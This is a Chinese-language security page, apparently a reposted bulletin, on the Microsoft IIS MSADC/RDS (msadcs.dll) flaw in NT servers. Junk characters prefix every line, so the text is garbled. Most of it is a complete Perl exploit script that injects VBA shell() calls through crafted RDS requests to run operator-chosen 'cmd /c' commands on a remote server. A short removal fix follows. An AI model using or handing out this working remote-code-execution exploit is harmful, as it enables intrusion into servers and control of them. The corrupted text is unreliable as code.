IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3z5w}qN] M kB:6e7D|[ 涉及程序：
F6, [!.wl Microsoft NT server
!0p_s;uu,W Twl> Pn> 描述：
Ky(=O1Ufu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~
A? lM/)< I\8 详细：
# ub! 如果你没有时间读详细内容的话，就删除:
H &
L c:\Program Files\Common Files\System\Msadc\msadcs.dll
+OM` c7M: 有关的安全问题就没有了。
A|Z'\D0 1FC' iGI 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
5^:N]Mp" p{c+ +P5 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
(?[^##03MN 关于利用ODBC远程漏洞的描述，请参看:
yhwwF
n\ k(As^'> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )3 C~kmN7 ur*@TIvD 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
0uZ 'j http://www.microsoft.com/security/bulletins/MS99-025faq.asp BM6 J t>]wWYy 这里不再论述。
8}5dyn{cvE !w+A3Z>V 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
D`|.% n+B h-a V /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
IG}`~% Z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
8Df(|>mK !+Ia#( )+!~xL #将下面这段保存为txt文件，然后: "perl -x 文件名"
/<J&ZoeJB q hNY < #!perl
S4qj}`$
Yv #
F% <hng%k # MSADC/RDS 'usage' (aka exploit) script
$]H^? #
Hjho !np # by rain.forest.puppy
y}TiN! M #
{i}z|' ! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R[ 'k&jyi # beta test and find errors!
JYQ.Y !X1O 7x,c)QES` use Socket; use Getopt::Std;
67916 getopts("e:vd:h:XR", \%args);
z@\r V@W5 * &i SW~s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[5KzawV HkH!B.H] if (!defined $args{h} && !defined $args{R}) {
^Md]e<WAp print qq~
k{fTq KS%h Usage: msadc.pl -h <host> { -d <delay> -X -v }
qT
U(]O1 -h <host> = host you want to scan (ip or domain)
O^tH43 C -d <seconds> = delay between calls, default 1 second
"!\O N)l* -X = dump Index Server path table, if available
SHM
?32' -v = verbose
!`S` %\" -e = external dictionary file for step 5
BPFd'- O) UD 0v ia Or a -R will resume a command session
[#}A]1N }4
p3m] ~; exit;}
Ib$* w)4 : 3M/iuu $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
eh@6trzp= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1Tn0$+ $.4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S}0W<H P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8UA bTqB- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*Ey5F/N}$H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+@:$7m(V ^ \Bm5QkS if (!defined $args{R}){ $ret = &has_msadc;
32DSZ0
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~ S5wfx& Cd>GY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
s|/m}n . "cmd /c ";
vY+{zGF $in=<STDIN>; chomp $in;
7 N @4c
$command="cmd /c " . $in ;
@@!Mt~\ 41pk )8~pt if (defined $args{R}) {&load; exit;}
1KH]l336D" |7ga9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
P>*g'OK^!G &try_btcustmr;
Xp(e/QB 3$]SP1M c( print "\nStep 2: Trying to make our own DSN...";
aWp9K+4R$/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
OokBi 02b yM dAe >@ print "\nStep 3: Trying known DSNs...";
Lk%u(duU^ &known_dsn;
5&&6e ` (r&e| print "\nStep 4: Trying known .mdbs...";
^8_`IT &known_mdb;
/F>\-
<tT*.nM\ if (defined $args{e}){
C'iJFf gR print "\nStep 5: Trying dictionary of DSN names...";
.EOHkhn &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*O`76+iZ|_ %s]l^ RZ print "Sorry Charley...maybe next time?\n";
|!0R"lv'u exit;
r#Pkhut b4_"dg~gK ##############################################################################
9.bMA< X ;%Z%]n IS sub sendraw { # ripped and modded from whisker
%h "+J sleep($delay); # it's a DoS on the server! At least on mine...
[+=h[DC my ($pstr)=@_;
N9W\>hKaeh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z;/"-.i die("Socket problems\n");
2>s@2=Aq if(connect(S,pack "SnA4x8",2,80,$target)){
W#p A W select(S); $|=1;
7l-` k print $pstr; my @in=<S>;
PI"&-lXI-m select(STDOUT); close(S);
$EH nlaG8r return @in;
` ]*KrY } else { die("Can't connect...\n"); }}
o=!3=2@dh hFC4CqBV ##############################################################################
.Yxx
yPKDn.1 sub make_header { # make the HTTP request
vt;<+"eps my $msadc=<<EOT
0:W*_w0Ge POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
kN X(@f User-Agent: ACTIVEDATA
:#M(,S"Qq Host: $ip
UX-l`ygl Content-Length: $clen
R:*I>cRs Connection: Keep-Alive
x6,kG 1dhp/Qh ADCClientVersion:01.06
By 3/vb)M5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5 =Os
sAr Zi+>#kDV --!ADM!ROX!YOUR!WORLD!
~I0I#_$'P Content-Type: application/x-varg
b;!oPT Content-Length: $reqlen
st;.Po[h Fm\
h883\ EOT
.uAO k0^z ; $msadc=~s/\n/\r\n/g;
NN<kO#c+2 return $msadc;}
t7VX W{3 :K!@zT=o ##############################################################################
@@U'I ^iG >\Qyg>Md] sub make_req { # make the RDS request
WMB~?
EDhv my ($switch, $p1, $p2)=@_;
JwzA'[tM my $req=""; my $t1, $t2, $query, $dsn;
"Ru H"~o tS2 P|fl if ($switch==1){ # this is the btcustmr.mdb query
]xf
lfZ $query="Select * from Customers where City=" . make_shell();
7y",%WYSD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Qtmsk:qm $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U!@ 3[' M ) 9Ss elsif ($switch==2){ # this is general make table query
H'uRgBjWJ $query="create table AZZ (B int, C varchar(10))";
r4}:t$ $dsn="$p1";}
^>?gFv WB% w.qpV]9> elsif ($switch==3){ # this is general exploit table query
B\2<r5|QG $query="select * from AZZ where C=" . make_shell();
*iB_$7n` $dsn="$p1";}
Sqw .p# clz6; P elsif ($switch==4){ # attempt to hork file info from index server
w{[OtGIi3 $query="select path from scope()";
+{
QyB $dsn="Provider=MSIDXS;";}
g/+P]c6/ #uNQ+US0 elsif ($switch==5){ # bad query
} Vw"7 $query="select";
gIS<"smOo $dsn="$p1";}
H"4^ be `\ O $t1= make_unicode($query);
# $(F&>pj $t2= make_unicode($dsn);
_yT Gv- $req = "\x02\x00\x03\x00";
@d Ac2<4 $req.= "\x08\x00" . pack ("S1", length($t1));
+Io^U $req.= "\x00\x00" . $t1 ;
1btQ[a6j $req.= "\x08\x00" . pack ("S1", length($t2));
]}R\[F (_% $req.= "\x00\x00" . $t2 ;
= >)S\Dfi $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
kS[xwbE return $req;}
1R)4[oYN\< G S-@drZp_ ##############################################################################
6sb,*uSn% Hep]jxp+ sub make_shell { # this makes the shell() statement
<Yfk7Un return "'|shell(\"$command\")|'";}
l>)0OP] xd\k;nq ##############################################################################
fB[I1Z M(o?I} sub make_unicode { # quick little function to convert to unicode
{:c*- +? my ($in)=@_; my $out;
P6* IR| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g*Nc+W](P> return $out;}
6=2M[ T ww VK15t ##############################################################################
',nGH|K. ;1}~(I#Y sub rdo_success { # checks for RDO return success (this is kludge)
qsXK4` my (@in) = @_; my $base=content_start(@in);
jdV E/5 if($in[$base]=~/multipart\/mixed/){
WlU^+ctS return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b Mi,z3z return 0;}
Iz ^~=yV) zh)qo ##############################################################################
N ~L3
9 6rMGl zuRo sub make_dsn { # this makes a DSN for us
D]v=/43 my @drives=("c","d","e","f");
}s{RW<A print "\nMaking DSN: ";
OOS(YP@b foreach $drive (@drives) {
! FbW7"y E print "$drive: ";
0V
,R|Ln my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/\_`Pkd3m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1pogk0h.: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N~g @ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
t8 g^ W K return 0 if $2 eq "404"; # not found/doesn't exist
hv te ) if($2 eq "200") {
m/ 3b7c@r foreach $line (@results) {
B<(v \=xZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`s(T (l } return 0;}
ZWaHG_
U) .)|r!X ##############################################################################
=Y>_b
2 ['j_W$8n sub verify_exists {
]&w>p#_C my ($page)=@_;
si,fs%D& my @results=sendraw("GET $page HTTP/1.0\n\n");
3{ i'8 return $results[0];}
+[Nc ";Oy qT^R> p ##############################################################################
t a _ ! 5mdn77F_ sub try_btcustmr {
^y g`U( my @drives=("c","d","e","f");
B P% >J^ my @dirs=("winnt","winnt35","winnt351","win","windows");
Ss+e*e5Ht n; ;b6s5 foreach $dir (@dirs) {
j_c0oclSz print "$dir -> "; # fun status so you can see progress
, A?o foreach $drive (@drives) {
wmdvA MN print "$drive: "; # ditto
udM<jY]5p $reqlen=length( make_req(1,$drive,$dir) ) - 28;
XZhuV< $reqlenlen=length( "$reqlen" );
iZ2|/hnw $clen= 206 + $reqlenlen + $reqlen;
&S9Sl 9cud CF my @results=sendraw(make_header() . make_req(1,$drive,$dir));
zz3Rld!b[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_3- nw else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V6Ie\+ @.\ U`sybtuBP' ##############################################################################
VU`aH9g3( ykc$B5* sub odbc_error {
tK{2'e6x my (@in)=@_; my $base;
!7t, (Id8 my $base = content_start(@in);
] }H;`H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4. 2qt $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<< !XWV*m $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pJ-/"Q|:i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z( L\I return $in[$base+4].$in[$base+5].$in[$base+6];}
[3h~ y7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&(3kwdI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}6b =2Z} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1wSJ w /M(Fu V ##############################################################################
ORk8^0\ p>7 !"RF:U sub verbose {
v8p-<N ) my ($in)=@_;
CJ 0j2e/ return if !$verbose;
';4DUh p print STDOUT "\n$in\n";}
n_vopDMm 2
>G"A ##############################################################################
ycB>g d [ah%>&u sub save {
HV ab14}E my ($p1, $p2, $p3, $p4)=@_;
I_N(e|s\U open(OUT, ">rds.save") || print "Problem saving parameters...\n";
}8J 77[>/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{` Bgxejf close OUT;}
N)G.^9 tep_g4CQR_ ##############################################################################
&> 43l+ JVE]Qb_ sub load {
Ex^| [iV my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6U)Lhf\'o open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"MZ j}}l @p=<IN>; close(IN);
i ~:FlW] $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
.n1]Yk;,1 $target= inet_aton($ip) || die("inet_aton problems");
!~PLW] Z4 print "Resuming to $ip ...";
v`#T)5gl- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
(NrH)+)J!a if($p[1]==1) {
IBm&a^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
:c%vl$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
//*>p my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
C* Avu if (rdo_success(@results)){print "Success!\n";}
~jMdM~} else { print "failed\n"; verbose(odbc_error(@results));}}
wZN<Og +; elsif ($p[1]==3){
J'B6l#N if(run_query("$p[3]")){
j4 RM'_*G print "Success!\n";} else { print "failed\n"; }}
rf1Us2vp elsif ($p[1]==4){
K~8;wDN`b if(run_query($drvst . "$p[3]")){
]Ija,C!# print "Success!\n"; } else { print "failed\n"; }}
r#LoBfM;^A exit;}
. fq[>zG'& +*-u_L\' ##############################################################################
Q?rb(u( x"0*U9f sub create_table {
-N+'+ my ($in)=@_;
w. exLC $reqlen=length( make_req(2,$in,"") ) - 28;
HT7V} UiaO $reqlenlen=length( "$reqlen" );
C(7uvQ $clen= 206 + $reqlenlen + $reqlen;
xb$eFiQ my @results=sendraw(make_header() . make_req(2,$in,""));
|mvy@hm return 1 if rdo_success(@results);
Q)x`'[3"7W my $temp= odbc_error(@results); verbose($temp);
ma.yI};$ return 1 if $temp=~/Table 'AZZ' already exists/;
;(M`Wy]2 return 0;}
{:M5t1^UC `vWFTv ##############################################################################
xq1 =O
"2 :]9j sub known_dsn {
VKRj
1LXz # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
p|VoIQY my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
DPR=Xls "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Cn4o^6? " "banner", "banners", "ads", "ADCDemo", "ADCTest");
x gP/BK2" bj^YB,iSM foreach $dSn (@dsns) {
z OkU R 9 print ".";
tj@IrwC^e" next if (!is_access("DSN=$dSn"));
5at\!17TY if(create_table("DSN=$dSn")){
;i|V++$_ print "$dSn successful\n";
6Ouy%]0$I3 if(run_query("DSN=$dSn")){
. _JM3o}F print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ZZqImB.Cz6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
)u~LzE]{_ GGHe{l ##############################################################################
= BW>jD ) 9h5a+Z sub is_access {
':6!f my ($in)=@_;
KZ^W@*`D $reqlen=length( make_req(5,$in,"") ) - 28;
'#d`K.;_b. $reqlenlen=length( "$reqlen" );
.r!:` 6 $clen= 206 + $reqlenlen + $reqlen;
hKP!;R my @results=sendraw(make_header() . make_req(5,$in,""));
2lPj%i 5 my $temp= odbc_error(@results);
:{NvBxc[ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z"rrbN1 return 0;}
G\3@QgyQ Xi3:Ok6FZ ##############################################################################
Ht#5;c2/ En%PIkxeR sub run_query {
yAO Ye"d my ($in)=@_;
@Q~Oc_ z $reqlen=length( make_req(3,$in,"") ) - 28;
b}63?.M{ $reqlenlen=length( "$reqlen" );
#:"F-3A0 $clen= 206 + $reqlenlen + $reqlen;
7+';&2M)n~ my @results=sendraw(make_header() . make_req(3,$in,""));
c0M=T return 1 if rdo_success(@results);
X=]FVHV; my $temp= odbc_error(@results); verbose($temp);
)+T\LU return 0;}
'ms&ty*T Dl hb'*@ ##############################################################################
f%ude@E3 2VaQxctk sub known_mdb {
0X =Yly*m@ my @drives=("c","d","e","f","g");
& xOEp my @dirs=("winnt","winnt35","winnt351","win","windows");
1B +uv0lA my $dir, $drive, $mdb;
q]+'{Ci@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ru8k2d$B @KRr$k # this is sparse, because I don't know of many
.T0w2Dv / my @sysmdbs=( "\\catroot\\icatalog.mdb",
>-fOkOWXy "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!_<zK:`-L "\\system32\\certmdb.mdb",
I g*68M< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2:0'fNXop /-BKdkBCpZ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
z45
7/zO "\\cfusion\\cfapps\\forums\\forums_.mdb",
W ]cJ P "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>g8H "\\cfusion\\cfapps\\security\\realm_.mdb",
:^".cs?g "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Lk{ES$ "\\cfusion\\database\\cfexamples.mdb",
/Zs ;dam "\\cfusion\\database\\cfsnippets.mdb",
J
WaI[n} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
B
^>} M "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]#>;C: L "\\cfusion\\brighttiger\\database\\cleam.mdb",
@C7if lo6 "\\cfusion\\database\\smpolicy.mdb",
[>l 2E "\\cfusion\\database\cypress.mdb",
QT X5F5 w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
w~EBm=v_> "\\website\\cgi-win\\dbsample.mdb",
1"k"<{% "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
y7J2: /@[x "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g_8Bhe"ik ); #these are just
;w,+x 7 foreach $drive (@drives) {
8nn%wps foreach $dir (@dirs){
.*+?] foreach $mdb (@sysmdbs) {
9Qja|; print ".";
p&'oJy.P if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
e@[9WnxYe print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
&qfnCM0Y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*3 .+19Q print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
7 ,Tg>,%Q } else { print "Something's borked. Use verbose next time\n"; }}}}}
% \OG#36 }c/p+Wo foreach $drive (@drives) {
U z(Sv:G foreach $mdb (@mdbs) {
J+oK:t zt8 print ".";
M(>" e*Pi
if(create_table($drv . $drive . $dir . $mdb)){
}T([gc7 ~ print "\n" . $drive . $dir . $mdb . " successful\n";
Fljqh8c5 if(run_query($drv . $drive . $dir . $mdb)){
VNKtJm t print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m,U Mb#7Y } else { print "Something's borked. Use verbose next time\n"; }}}}
.|=~x3mPw }
BK. _cDR w7d(| ` ##############################################################################
{OHa I ; M1(+_W` sub hork_idx {
s~OGl PK print "\nAttempting to dump Index Server tables...\n";
sp%EA=: E print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3|1ug92
$reqlen=length( make_req(4,"","") ) - 28;
*fs'%"w- $reqlenlen=length( "$reqlen" );
(.6~t<DRv $clen= 206 + $reqlenlen + $reqlen;
WDznhMo my @results=sendraw2(make_header() . make_req(4,"",""));
t[>y=89 if (rdo_success(@results)){
1+`Bli]dE my $max=@results; my $c; my %d;
fZM )> for($c=19; $c<$max; $c++){
|l5ol @2* $results[$c]=~s/\x00//g;
W$_}lE $ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<Z^ P8nu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
[,;h1m ~iX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
fB .xjp? $d{"$1$2"}="";}
?LE\pk
R foreach $c (keys %d){ print "$c\n"; }
%6-5hBzZN } else {print "Index server doesn't seem to be installed.\n"; }}
b5r .N1m s %"#%/>U4 ##############################################################################
5 \hJ& JIeKp7 ;^ sub dsn_dict {
L< 3U)Gp open(IN, "<$args{e}") || die("Can't open external dictionary\n");
4x8e~/ while(<IN>){
1;O%8sp& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/W4F( 3oM next if (!is_access("DSN=$dSn"));
V5 $J if(create_table("DSN=$dSn")){
6 <&jY print "$dSn successful\n";
t^N
92$| if(run_query("DSN=$dSn")){
a >w@9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
VKzY6 print "Something's borked. Use verbose next time\n";}}}
z
D&5R/I print "\n"; close(IN);}
d1 &RK2 <A% } ##############################################################################
(;1rM}B;1 `U-i{i sub sendraw2 { # ripped and modded from whisker
3aMfZa<= sleep($delay); # it's a DoS on the server! At least on mine...
j+B+>r ^ my ($pstr)=@_;
g.3 .
C? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xc |pl !ns die("Socket problems\n");
\_H-TbU8 if(connect(S,pack "SnA4x8",2,80,$target)){
,:R Hhg print "Connected. Getting data";
vAeh #V~# open(OUT,">raw.out"); my @in;
]#)1(ZE select(S); $|=1; print $pstr;
RPH] @ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Ps<6 kQ( close(OUT); select(STDOUT); close(S); return @in;
; =.i+ } else { die("Can't connect...\n"); }}
2L=+z1%I 6O|B'?]Pf ##############################################################################
hN(sz d=?Kk4Ag sub content_start { # this will take in the server headers
KC@F"/h`/ my (@in)=@_; my $c;
aD5jy for ($c=1;$c<500;$c++) {
",U>;` if($in[$c] =~/^\x0d\x0a/){
j W a% vA if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l # -4}95 else { return $c+1; }}}
T(<
[k:` return -1;} # it should never get here actually
8#NI`s* qx#k()E.U ##############################################################################
oH;0_! o: \&4z&= sub funky {
al{;]>W my (@in)=@_; my $error=odbc_error(@in);
WD"3W)! if($error=~/ADO could not find the specified provider/){
5f.G^A: _X print "\nServer returned an ADO miscofiguration message\nAborting.\n";
)e,Rp\fY$ exit;}
m 6V:x/'= if($error=~/A Handler is required/){
+kh#Jq. print "\nServer has custom handler filters (they most likely are patched)\n";
# X~{p4Lr exit;}
Kk?]z7s-4 if($error=~/specified Handler has denied Access/){
l)JNNcej print "\nServer has custom handler filters (they most likely are patched)\n";
K|Q|v39{b exit;}}
=\jp%A1$
ql
Z() ##############################################################################
' %JIc~LJ 8H0d4~Wg sub has_msadc {
e|ChCvk my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#2N']VP my $base=content_start(@results);
2&L2G ' return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
~g&FeMo return 0;}
-! X ,M DO 0RaE!4)!; ########################
z| ';Y!kQ #b FJ6;g=V Gz>M Y4+G 解决方案：
<<xUh|zE 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
B/P E{ / 2、移除web 目录: /msadc
